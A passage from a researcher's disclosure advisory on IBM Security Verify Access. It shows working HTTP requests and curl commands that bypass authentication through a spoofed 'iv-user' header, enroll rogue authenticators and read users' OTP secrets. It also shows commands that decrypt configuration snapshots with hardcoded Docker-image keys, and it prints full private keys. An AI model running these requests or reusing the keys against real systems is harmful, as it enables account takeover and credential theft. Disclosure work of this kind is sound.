https://test-runtime/sps/mmfa/user/mgmt/html/mmfa/qr_code.html?client_id=TestAuthenticatorClient&code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Ywebpage (without/mgaat the beginning of the URL) and scan the generated QR code; Burp Suite Pro is required to replace all the API calls from/mga/sps/to/sps/; or
- reach the
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
-
- reach the
/sps/mmfa/user/mgmt/qr_code/jsonAPI to get the json encoded data inside the QR code (using?code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y&client_id=TestAuthenticatorClient) and generate the QR code (note that in the next HTTP answer, theignoreSslCerts=trueis not the default option); or
- reach the
GET /sps/mmfa/user/mgmt/qr_code/json?code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y&client_id=TestAuthenticatorClient HTTP/1.1
Host: test-runtime
iv-user: target-user
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
HTTP/1.1 200 OK
Content-Type: application/json
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Content-Language: en-US
Connection: Close
Date: Sat, 07 Sep 2024 20:39:55 GMT
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-store, no-cache=set-cookie
Content-Length: 202
{"code":"0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y","options":"ignoreSslCerts=true",
"details_url":"https:\/\/enroll-url\/mga\/sps\/mmfa\/user\/mgmt\/details",
"version":1,"client_id":"TestAuthenticatorClient"}
-
- reach the
/mga/sps/mmfa/user/mgmt/qr_code/jsonAPI (provided by any targeted WebSEAL servers from the same infrastructure, including Internet-faced WebSEAL servers) to get the json encoded data inside the QR code (using?code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y&client_id=TestAuthenticatorClient) and generate the QR code; or
- reach the
-
- simply locally generate the QR code containing the JSON data as shown below using the
qrencodeprogram:
- simply locally generate the QR code containing the JSON data as shown below using the
kali% qrencode -o picture.png '{"code":"0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y","options":"ignoreSslCerts=false","details_url":"https:\/\/enroll-url\/mga\/sps\/mmfa\/user\/mgmt\/details","version":1,"client_id":"TestAuthenticatorClient"}'
Then the QR code needs to be scanned using the official IBM Verify Security App (https://play.google.com/store/apps/details?id=com.ibm.security.verifyapp&hl=en) in order to enroll a new device. By default, the specific https://enroll-url/mga/sps/mmfa/user/mgmt/details is always reachable from the Internet in order to successfully enroll smartphones.
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
The official IBM Security Verify application (https://play.google.com/store/apps/details?id=com.ibm.security.verifyapp&hl=en) has been used and successfully enrolled for the target-user and can now be used to authenticate as target-user:
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
The device has been correctly enrolled from the Internet as shown below, by using the /sps/mmfa/user/mgmt/authenticators API without authentication.
kali% curl -ks https://test-runtime/sps/mmfa/user/mgmt/authenticators -H "iv-user: target-user" | jq .
[
{
"device_name": "Samsung S22",
"oauth_grant": "uuida72253ef[REDACTED]",
"auth_methods": [
{
"key_handle": "32e[REDACTED].userPresence",
"id": "uuidb694[REDACTED]",
"type": "user_presence",
"enabled": true,
"algorithm": "SHA256withRSA"
}
],
"os_version": "13",
"device_type": "[REMOVED]",
"id": "uuidb4fde[REDACTED]",
"enabled": true
},
[...]
Furthermore, all the APIs in /sps/* are directly reachable by specifying the HTTP header iv-user: target-user.
We can also list the secret key for the seed corresponding to OTP:
kali% curl -ks https://test-runtime/sps/mga/user/mgmt/otp/totp -H "iv-user: target-user" | jq .
{
"period": "30",
"secretKeyUrl": "otpauth://totp/Example:target-user"?secret=NSJ[REDACTED][REDACTED][REDACTED]&issuer=Example",
"secretKey": "NSJ[REDACTED][REDACTED][REDACTED]",
"digits": "6",
"username": "target-user",
"algorithm": "HmacSHA1"
}
All the APIs located in /sps/ are vulnerable to this authentication bypass.
As shown previously, it is possible to bypass the entire authentication and interact with the IBM Security Verify runtime docker instance as any user.
An attacker can enroll a device for any user, bypassing the entire access controls, and get control over the infrastructure. Since the back-end is fully reachable, an attacker can also delete any authenticator for any user.
At the time of the security assessment (October 2022), I was not able to find any official documentation that recommends not exposing the runtime instance to the network, since the runtime APIs are password protected.
The latest ISVA release (10.0.8) implements an optional authentication based on SSL certificates. It is strongly recommended to implement this authentication mechanism and not to expose the ISVA runtime instance to the network.
Without this optional authentication, any malicous actor (i) with access to WebSEAL servers (with a shell or a SSRF vulnerability) or (ii) with direct network access to the runtime instance, or (iii) with a shell access to any 'trusted' machine (e.g. a monitoring server querying the HTTPS server of ISVA runtime), or (iv) with a low-privilege shell on the docker server running the solution, can completely compromise the authentication infrastructure, without credentials.
Regarding the official recommendations, IBM recommends (i) not to expose the runtime instance to untrusted clients or (ii) to implement SSL-based certificate authentication and follow the following best practices. IBM provided these references as official responses regarding this issue:
-
- From https://www.ibm.com/docs/en/sva/10.0.8?topic=support-docker-image-verify-access-runtime#concept_thc_pnz_w4b__title__1;
-
- And https://www.ibm.com/docs/en/sva/10.0.8?topic=settings-runtime-parameters;
-
- And https://www.ibm.com/docs/en/sva/10.0.8?topic=appliance-tuning-runtime-application-parameters-tracing-specifications:
Note: If the runtime container is exposed on an external IP address there must be network restrictions in place to ensure that access is not allowed from untrusted clients, or the runtime must be configured to require mutual TLS authentication.
- From my understanding, this vulnerability is not going to be patched (no security bulletin was published and no CVE has been assigned, ticket has been closed as solved) because, according to the official recommendations, it is the customer's responsability to filter any communication to the runtime instance. This present security advisory will allow offensive and defensive security teams to correctly understand and improve their security posture.
About the detection of insecure instances, a HTTPS request to the /sps/ route providing the banner Server: IBM Security Verify Access in the HTTPS answer will allow SOC team to detect an instance. The banner will not appear when reaching https://test-runtime/). If MFA is used, a HTTP request to /sps/mga/user/mgmt/html/device/device_selection.html (port 443 or 9443, by default) will allow SOC team to detect an insecure ISVA runtime instance. An answer indicating 200 OK with the content of the device_selection.html webpage will indicate that the tested instance is probably insecure:
kali% curl -k https://test-runtime/sps/mga/user/mgmt/html/device/device_selection.html
[...]
< HTTP/1.1 200 OK
< X-Frame-Options: SAMEORIGIN
< Server: IBM Security Verify Access
< Content-Type: text/html;charset=UTF-8
[...]
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Device Selection</title>
<link type="text/css" rel="stylesheet" href="/sps/static/design.css"></link>
<link type="text/css" rel="stylesheet" href="/sps/mga/user/mgmt/html/device/device_selection.css"></link>
<script type="text/javascript" src="/sps/mga/user/mgmt/html/mgmt_msg.js"></script>
<script type="text/javascript" src="/sps/static/u2fI18n.js"></script>
<script type="text/javascript" src="/sps/mga/user/mgmt/html/common.js"></script>
<script type="text/javascript" src="/sps/mga/user/mgmt/html/device/device_selection.js"></script>
On a side note, from my tests, the APIs are also exposed with authentication from the Internet by visiting https://enroll-url/mga/sps/mga/user/mgmt/html/device/device_selection.html. If device_selection.html is blocked, it is simply possible to inject the correct answer with Burp Suite Pro (using the device_selection.html webpage available in official IBM Docker images) and the previous /mga/sps/ APIs are still reachable since they are needed to successfully enroll an authenticator from the Internet (e.g. the official IBM Verify Security App running on a smartphone). An attacker that enrolled a rogue authenticator to a compromised account can get persistence access from the Internet even if the runtime instance is not reachable anymore or if the "regular" ISVA servers are only reachable from inside the company: the APIs provided by the Internet-faced enrolling server will allow the attackers to enroll new authenticators and retrieve current seeds.
Furthermore, with Internet-faced servers (by design, to enroll authenticators) and an authenticated session, the attack surface is quite big.
It is also possible to list the target version of a Internet-faced instance (proxifed through WebSEAL) by visiting the /mga/sps/mmfa/user/mgmt/details API (when MFA is enabled in ISVA):
curl -s https://internet-faced-website/mga/sps/mmfa/user/mgmt/details | jq .
{
"authntrxn_endpoint": "https://info.domain.tld/scim/Me?attributes=urn:ietf:params:scim:schemas:extension:isam:1.0:MMFA:Transaction:transactionsPending,urn:ietf:params:scim:schemas:extension:isam:1.0:MMFA:Transaction:attributesPending",
"metadata": {
"service_name": "Organisation",
"qrlogin_endpoint": "https://info.domain.tld/mga/sps/authsvc?PolicyId=urn:ibm:security:authentication:asf:qrcode_response"
[...]
"enrollment_endpoint": "https://info.domain.tld/scim/Me",
[...]
"version": "10.0.8.0",
[...]
}
Details - Reuse of snapshot private keys
The official Docker images have been retrieved and analyzed on a local machine:
kali-docker# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ibmcom/verify-access-runtime 10.0.4.0 498e181d7395 3 months ago 1.07GB
ibmcom/verify-access-wrp 10.0.4.0 c0003aca743c 3 months ago 442MB
ibmcom/verify-access 10.0.4.0 206efdd7809c 3 months ago 1.53GB
ibmcom/verify-access-dsc 10.0.4.0 959f6f1095e9 3 months ago 305MB
kali-docker# docker save 498e181d7395 > ibmcom/verify-access-runtime.tar
kali-docker# docker save c0003aca743c > ibmcom/verify-access-wrp.tar
kali-docker# docker save 206efdd7809c > ibmcom/verify-access.tar
kali-docker# docker save 959f6f1095e9 > ibmcom/verify-access-dsc.tar
It was observed that instances contain custom encryption/decryption keys (device_key.kdb and device_key.sth files) located inside /var/.ca/.
These keys are used by the isva_decrypt utility present in all the images. For example, the /usr/sbin/bootstrap.sh script will decrypt the stored openldap.zip file using isva_decrypt:
Content of /usr/sbin/bootstrap.sh:
[...]
# Decrypt and extract the LDAP configuration.
isva_decrypt $snapshot_tmp_dir/openldap.zip
unzip -q -o $snapshot_tmp_dir/openldap.zip -d /
[...]
When doing an analysis on the official IBM images obtained on Docker Hub, we can confirm the keys (device_key.kdb and device_key.sth) are in fact hardcoded inside these official IBM images and some of them are also world-readable by default:
kali-docker# ls -la */*/var/.ca/*
-rw-r--r-- 1 root root 5991 Jun 8 01:29 _verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.kdb
-rw-r--r-- 1 root root 193 Jun 8 01:29 _verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.sth
-rw-r--r-- 1 root root 5991 Jun 8 01:29 _verify-access-runtime.tar/2bf2e32495580fbf5de2abb686d8727c10372a2f7a717ad2608f18362c6c7960/var/.ca/device_key.kdb
-rw-r--r-- 1 root root 193 Jun 8 01:29 _verify-access-runtime.tar/2bf2e32495580fbf5de2abb686d8727c10372a2f7a717ad2608f18362c6c7960/var/.ca/device_key.sth
-rw------- 1 root root 5991 Jun 8 01:31 _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/.ca/mesa_ca.kdb
-rw------- 1 root root 193 Jun 8 01:31 _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/.ca/mesa_ca.sth
-rw-r--r-- 1 root root 5991 Jun 8 01:29 _verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a/var/.ca/device_key.kdb
-rw-r--r-- 1 root root 193 Jun 8 01:29 _verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a/var/.ca/device_key.sth
kali-docker# sha256sum */*/var/.ca/*|sort|uniq
dc47d4cfd4fb21ebaad215b2bca4f7d5c5f32e7c3b6678dc69a570ad534628ce _verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.sth
dc47d4cfd4fb21ebaad215b2bca4f7d5c5f32e7c3b6678dc69a570ad534628ce _verify-access-runtime.tar/2bf2e32495580fbf5de2abb686d8727c10372a2f7a717ad2608f18362c6c7960/var/.ca/device_key.sth
dc47d4cfd4fb21ebaad215b2bca4f7d5c5f32e7c3b6678dc69a570ad534628ce _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/.ca/mesa_ca.sth
dc47d4cfd4fb21ebaad215b2bca4f7d5c5f32e7c3b6678dc69a570ad534628ce _verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a/var/.ca/device_key.sth
f06cd909fd9b4222b4ac228ae71702428505d162255d83cc51e93be5edd8d935 _verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.kdb
f06cd909fd9b4222b4ac228ae71702428505d162255d83cc51e93be5edd8d935 _verify-access-runtime.tar/2bf2e32495580fbf5de2abb686d8727c10372a2f7a717ad2608f18362c6c7960/var/.ca/device_key.kdb
f06cd909fd9b4222b4ac228ae71702428505d162255d83cc51e93be5edd8d935 _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/.ca/mesa_ca.kdb
f06cd909fd9b4222b4ac228ae71702428505d162255d83cc51e93be5edd8d935 _verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a/var/.ca/device_key.kdb
Using these keys and the IBM Crypto for C programs, we can successfully decrypt the openldap.zip file - an encrypted zip file - available inside the default.snapshot file - this file contains the entire configuration of ISVA and is stored inside Docker instances or retrieved over the network. The openldap.zip file contains all the configuration options of the instance and is consequently extremely sensitive (to decrypt it using isva_decrypt, it is required to create a /var/.ca directory containing device_key.kdb and device_key.sth in a test machine):
kali-decryption% LD_LIBRARY_PATH=/home/user/gsk8_64/lib64 strace ./isva_decrypt openldap.zip
[...]
writev(5, [{iov_base="", iov_len=0}, {iov_base="2s\0\0etc/openldap/schema/nis.ldif"..., iov_len=1024}], 2) = 1024
writev(5, [{iov_base="", iov_len=0}, {iov_base="\321\0\0etc/openldap/schema/collectiv"..., iov_len=1024}], 2) = 1024
writev(5, [{iov_base="", iov_len=0}, {iov_base="\0etc/openldap/slapd-replica.conf"..., iov_len=1024}], 2) = 1024
writev(5, [{iov_base="", iov_len=0}, {iov_base="data/secAuthority-default/__db.0"..., iov_len=1024}], 2) = 1024
read(4, "\271=b\223\205\320\277\365\207\302#T\255\355\374Ct\222\332M`3%\341\361I\301\233j\34\1\355"..., 8191) = 1124
writev(5, [{iov_base="", iov_len=0}, {iov_base="PK\1\2\36\3\24\0\0\0\10\0\4Z-UQ\202\212<V\2\0\0\0 \0\0000\0\30\0"..., iov_len=1024}], 2) = 1024
writev(5, [{iov_base="", iov_len=0}, {iov_base="+\0\30\0\0\0\0\0\0\0\0\0\200\201\256\213\7\0var/openldap/d"..., iov_len=1024}], 2) = 1024
read(4, "", 8191) = 0
close(4) = 0
write(5, "\5\0\3\250\302\36cux\v\0\1\4\0\0\0\0\4\0\0\0\0PK\5\6\0\0\0\0[\0"..., 44) = 44
close(5) = 0
unlink("openldap.zip") = 0
rename("/tmp/tmp.pxiQjh", "openldap.zip") = 0
unlink("/tmp/tmp.pxiQjh") = -1 ENOENT (No such file or directory)
close(3) = 0
exit_group(0) = ?
+++ exited with 0 +++
kali-decryption% file openldap.zip
openldap.zip: Zip archive data, at least v1.0 to extract, compression method=store
While doing an analysis of the zip file, we can find:
-
- credentials;
-
- passwords (e.g. in
etc/openldap/dynamic/replica-1.confandetc/openldap/dynamic/passwd.conf)
- passwords (e.g. in
-
- RSA keys + certificates (e.g. in
etc/openldap/dynamic/server.key)
- RSA keys + certificates (e.g. in
-
- users in the logs.
The unique kdb files (encrypted archives containing public and private keys) found in the IBM Docker images have also been decrypted (using the corresponding stash files) and analyzed:
kali-docker# j=0; for file in ./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/lum/iss-external.kdb ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/etc/iss-external.kdb ./_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/opt/ibm/ldap/V6.4/etc/ldapkey.kdb ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/trial/trial_ca.kdb ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/isva.signing/isva_signing_public.kdb ./_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.kdb; do echo $file; LD_LIBRARY_PATH=/home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/lib64/ /home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/bin/gsk8capicmd_64 -cert -export -db $file -stashed -target /tmp/tmp.p12 -target_pw password ; openssl pkcs12 -in /tmp/tmp.p12 -out /tmp/export_${j}.pem -nodes -passin pass:password;j=$(($j+1));rm /tmp/tmp.p12;done
./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/lum/iss-external.kdb
./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/etc/iss-external.kdb
./_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/opt/ibm/ldap/V6.4/etc/ldapkey.kdb
./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/trial/trial_ca.kdb
./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/isva.signing/isva_signing_public.kdb
./_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.kdb
This allows an attacker to extract several private keys:
Bag Attributes
friendlyName: ca
localKeyID: 03 82 01 01 00 6F 9B 85 F2 CA 2A DC A3 2E BA F7 D9 36 40 D4 D4 4D 31 A4 AC 23 2E 6E F0 9F 04 90 D7 F5 EC D1 31 7C 39 DB 80 20 7D A2 6C F5 30 F1 B6 C0 8C 1D 9F 32 87 A0 84 FE 22 AC 8F 0E D8 36 03 6D 69 29 E2 57 0C B3 9B 05 C4 E0 1E 81 51 EB 33 49 C3 D3 E1 F2 4E C0 CA 0C 5A A8 F9 5D 54 1F CF BE C0 9A 70 C4 6F 94 65 70 14 9F 1B 74 29 6E EB 00 1F 55 9B FE A1 00 CC FB DC CD 20 35 64 DF D6 A5 A7 F4 FB 76 DB D5 AA 6D 67 08 B1 F8 0B 71 37 AF A2 90 C3 AA 57 38 5B 48 E7 AE 35 6C 0C 8A E3 99 7D 90 94 B0 F8 1E 13 17 F9 A9 2F 5F 87 35 8B F5 6D AC 64 89 28 B0 96 0B 6C FB B4 8E D9 F0 26 AD 61 35 F4 CB A4 59 F8 F6 A0 72 EB 82 CD CF 2D 85 63 CF C3 27 64 9F 52 07 05 D7 19 81 5A 57 4A 92 F5 3F 30 2D 87 BD FB 96 92 2B A0 93 E6 B8 E8 E5 90 27 70 A8 78 6F 1C 98 11 6E F9 70 60 0F 2C D8 4C 44 BF
Key Attributes: <No Attributes>
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC5d1UkBCpTmK74
01RqSKl42SInA0B8zgbLgZG+HPoniIgwzbu4lRJSFGaGjnuJH1ccWPvxuDtv5R26
X4EhnL9RewJiHDTq1RRnP/XqQja3uHwsKC4yUlyvhBcX+FcoTKzq4y724ZZs2GIM
+Q4d4OsXAomQz3TeEWT9tyr7gCgDJ8W3WvpEUE6mpvm0OPujFivAM9Ws6bY7zcZr
qjU4Nct//gq9qlZuKMWan68vE+yMqJAkCCLh6YG8EA+TU/TQP4cCeCIiUBBC6A1R
CMbCA9t7AgWTlJPxuPTdgTETLRXDlMJWhWxuTGWtkXrrSXaWIwBTk4XVfeK2xkYs
RPNFmBZ1AgMBAAECggEAIt1sA/lEe7KYMe6IT/KY6T7oTK0v0kZowJj67OJFpGjm
MUZ7o5diekubenAOiRh7J7kSo74ebkqD7CVIASmWTZryN79Vs0+bJk2/zOnln2Pu
894Z0RvqkJQkQz1MJSdE2mMa0Q5XWN7Uj9vB65v8lbbEZZSaQ6TBd3CXg+/zlaPy
MvRgK5XvrzCKWD9PtWpIb4nRssJhVDAgfPQf5tlQ05QhKagakxENVB6wmcvOiU2l
zYZDTUGFVfgd1OxH7JICaTfBlhncd2OYaHxr+sXrPGuI+Ckz/U5q6UU+/b5EYEPr
7BSlmptg6CCFLlJ/Mz3qzcm2Wd9/KWEEbwr7fRLcAQKBgQDIoEC54Fsdj07SHwaM
iWC72WysdBedH5DUM39cRiorYz/E5rFIKWz8c4Fz4sx0IkTqM2JvS1frtvPgMTTV
PvowBcLrLIIBj3ZktheAijCtB7g0FR8EBJpJvY3nPYYA08akeJ2wIrV/AdXiMGR+
dJXnJRmoVI6tdk/Y9xRfUuahqQKBgQDsp+v5PkMWYyRsja6cjN4K9bExRbPCMyXo
o3VisQXQYnVdKJE86g+PMiwY4KJksZ3ZPYduB4Hn+9qcKWRXkg/VbInE9+TxwBOT
E4cf1bUibtNZEF4JeV7/FE+K76RgxROufXpRlrTqlmzblIBIeA14sGCC/3unb6tV
mfCGe18l7QKBgQCs0g6vj2otrnMRYZR8nyJq7sJEU8S7nqNdh/bf/7j3owkdjjOM
m9K8LKuIrge8yoBe1mCmylo0PGcb6oc+Yn+VuoDLoI1k1rX/zzOzkFaZ1pqAkuki
xuw5NUX1ufOi5sqohxYe0edSPryFmXYX0EoI0NanQB+foNjrZvtvmbP98QKBgAHG
0PKyEPbeD6vw9FqghBo49feUumC+2Y4BjCQNiCmkU5U7dLusVimRCtu09AMlgjXb
TGT7EXKYZW++r84ofo3vnqkn40QdWQhFoUIP7KgxhMyqXspbaucnU+GLIwTG9frd
Xkm2g+0u6+pKFxx0KkW5rT/OgzMil3qxCSk5S+GRAoGAVzyS/rD6YInD7/vWUqwm
ttgKBm1d/uL2fMzx0KCnuKd5gJwfLIx9wDR4862VyWxOof8quqAWAthSGgg99Bjj
dujkG+fMEu+pYaxTmte0HSC4I+QTkQrOup4wtwVFz2t+0yPlmneQXmJ+K5Wu9ClR
uxhPVbNJYbPOs02by37UXn8=
-----END PRIVATE KEY-----
Bag Attributes
friendlyName: encKey
localKeyID: 03 82 01 01 00 BB 0F 22 30 06 39 08 3E 65 E7 67 A2 F7 A0 1A 96 6F A6 75 57 3E AF B0 64 7D 83 07 47 6C A3 CE 91 7D 11 94 B5 E9 F7 79 74 F0 22 AB 50 C7 49 66 5E 64 0C 63 07 B7 43 F2 35 52 E4 2C CC C0 1F B4 ED 2F 18 CB D3 A0 3C 3F 6D 07 88 AD B6 FE 52 2B EA 10 0C 9C 0A F4 04 21 20 95 E9 A7 39 E9 6F F1 83 11 5E B7 C5 D5 41 F8 D0 4B BC A2 D5 C6 1B E0 77 F4 91 F2 1B 23 25 17 42 29 19 3E CE 4E 39 12 E5 29 30 69 6A FE 47 BA E6 D8 D5 5E 3C 23 C6 B5 40 49 E5 64 7E 69 CC 43 E0 15 AE F5 DC D9 8C 27 6F 2E 09 25 85 C3 F8 95 44 12 42 6F C5 D1 E0 41 B2 F0 00 90 2C EA 36 05 1D DF F3 A3 B6 4F 42 E6 6D F2 33 BD 9F AE 3F 18 4E 79 08 35 BC 28 15 AC 23 0E B5 28 23 C2 08 3D 6A 39 5D 37 FA 60 13 EF 19 C3 7A 9C DB F0 19 0C AC 0D D0 51 B1 1B AE 22 A4 B7 92 3B FF 61 A3 0F 1C 6E 52 97 FE 2D 65 CB 13
Key Attributes: <No Attributes>
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDsJ4YkXiuJVyuD
N2Ibykd86ieUfIqlRJ4t0Z40CXkfcUoSYfGfEUl0vGa/hRV6dBgr0cvsP1Uuh8lM
x1k7AF2LZB/3Hf42MiN4b1BShCkU//UDjw3IJDblpDxAs6+wNHLjZ3Tmu4j8WPH6
szaEMmLKdAOVX3j4pElcoTwsozR+F+1XBcp9G+nhIymvTaskWy8Qi2EHl+M2qbrw
G9Iissr1wX3KnI5hxvHAtEflwFu1qIcQFdEo/nG6+45TzhuIUTep1jcqDKTFsuzM
DrlEPELGqHVhkYrUaCYUtiEOjZXcE6Hufy10nEjo3nARyKlIom3A9Gi8qscq9Xh3
R5JZZbEtAgMBAAECggEABB9RCrysBAAZuFSREk47s+NE5JGSN3klHESHzinuZphv
9piID0BX0/Ar6uo4aO+GXrj9fqHZi2ikR/12yW0NpjYhcMsr1geMTNkJXPex+wwJ
eQWaoEXeBk3bbGbfMzqrxUh/QgyJqpu48wZ7ROSIqF5DMYVPElkkSAHWmdvgUnQi
T5m+F+eq5dGYx82V/COXKzOKUd714o7uL6bPqnFbZlQLGbDnUruFLLNsktrVhMCH
f2n7vj2irRyehFB9iJWoQYzZRYnt7ZZwaiC5tM1FH08Ba9KWhKioV0euO8t2ojkt
VW3EKTx5qrxnKvchlgDzb9neb/p9PtFUy/AuB/3n6QKBgQDzv99rQUVVLsaTFK8A
UWzXfEB+su0vxK5Q8hpgF9EdOGLZQtTpl8/xIj5Np7OqVclQA7usx6t9mcJwjkdH
blUubDs8MOcvbxfjOos3LdZ4egOfiac7N4nMkjh1XUvUt0bvkNO+GtgDgsS16EiE
X9fsafsbkQYqsNd1qag4u5M9xQKBgQD4Be5dLZ0A62qQlaQA5Vl8bp8woL843qKC
PYGIEf5/sQX3oYRhM2En6RI4nMt6htPn7WB0T7vCCi+XEACnruAUJFEyZARpeGHG
5jx3p4p3l/QUxCgdzXceEJTjabesOOZSuPazjaj1RWoAU7fRTwnG+0msq15zlkqG
UjVnqsoESQKBgBheXl/CrsPNYVzi/HvzqAYDDg+co8nax/KfwbNJrkZVlMxTuiWA
X/GjkscAtR2aZf3x4ZlsfOCZtq66CrZBeZKij2l9Gh/L4398It7pXj+9Mw+IG4f4
DXa+R5a0NRiXGihpOkIPPPlc4X2uM1HIozWngstGvG8YLvI8e+zwE9BhAoGAf649
+YXjz3dh0rDWTwfCu4YPOW9nQZWLP1T+e9gXlhDBq6tghNF4cJ1RngdJ0Pfb2wee
ogHx/IBV44R/cdNa08OmcTR/+PPaEhSwiECdzddR9ebNaBo/+iA7JZ9kyKo6F9fU
WLbShgGIAkcW2A/CTsdKNDO8WfDCyMdFaurHONECgYA0e/5TN/+AGLktUd7VIlOC
5FCHkAGl4iHJn/3v5r8yfh55Otf+K9vIUrEGW9XEouIofLMapbKqxiTD7YCbrbsy
NyoRMUtmBWnh7yrWkl/gvLIRsAw1R248Q1uxLb0JytRyf/8vW0YOK1grDxnijULH
arClGP/McDNH4FD3S9dgJQ==
-----END PRIVATE KEY-----
And the corresponding certificates:
Bag Attributes
friendlyName: ca
localKeyID: 03 82 01 01 00 6F 9B 85 F2 CA 2A DC A3 2E BA F7 D9 36 40 D4 D4 4D 31 A4 AC 23 2E 6E F0 9F 04 90 D7 F5 EC D1 31 7C 39 DB 80 20 7D A2 6C F5 30 F1 B6 C0 8C 1D 9F 32 87 A0 84 FE 22 AC 8F 0E D8 36 03 6D 69 29 E2 57 0C B3 9B 05 C4 E0 1E 81 51 EB 33 49 C3 D3 E1 F2 4E C0 CA 0C 5A A8 F9 5D 54 1F CF BE C0 9A 70 C4 6F 94 65 70 14 9F 1B 74 29 6E EB 00 1F 55 9B FE A1 00 CC FB DC CD 20 35 64 DF D6 A5 A7 F4 FB 76 DB D5 AA 6D 67 08 B1 F8 0B 71 37 AF A2 90 C3 AA 57 38 5B 48 E7 AE 35 6C 0C 8A E3 99 7D 90 94 B0 F8 1E 13 17 F9 A9 2F 5F 87 35 8B F5 6D AC 64 89 28 B0 96 0B 6C FB B4 8E D9 F0 26 AD 61 35 F4 CB A4 59 F8 F6 A0 72 EB 82 CD CF 2D 85 63 CF C3 27 64 9F 52 07 05 D7 19 81 5A 57 4A 92 F5 3F 30 2D 87 BD FB 96 92 2B A0 93 E6 B8 E8 E5 90 27 70 A8 78 6F 1C 98 11 6E F9 70 60 0F 2C D8 4C 44 BF
subject=C = us, O = ibm, OU = isam, CN = ca
issuer=C = us, O = ibm, OU = isam, CN = ca
-----BEGIN CERTIFICATE-----
MIIDNDCCAhygAwIBAgIINKDsXZO6zrowDQYJKoZIhvcNAQELBQAwNzELMAkGA1UE
BhMCdXMxDDAKBgNVBAoTA2libTENMAsGA1UECxMEaXNhbTELMAkGA1UEAxMCY2Ew
IBcNMTkwMzIxMDQ1NzAzWhgPMjEwMTA1MTEwNDU3MDNaMDcxCzAJBgNVBAYTAnVz
MQwwCgYDVQQKEwNpYm0xDTALBgNVBAsTBGlzYW0xCzAJBgNVBAMTAmNhMIIBIjAN
BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuXdVJAQqU5iu+NNUakipeNkiJwNA
fM4Gy4GRvhz6J4iIMM27uJUSUhRmho57iR9XHFj78bg7b+Udul+BIZy/UXsCYhw0
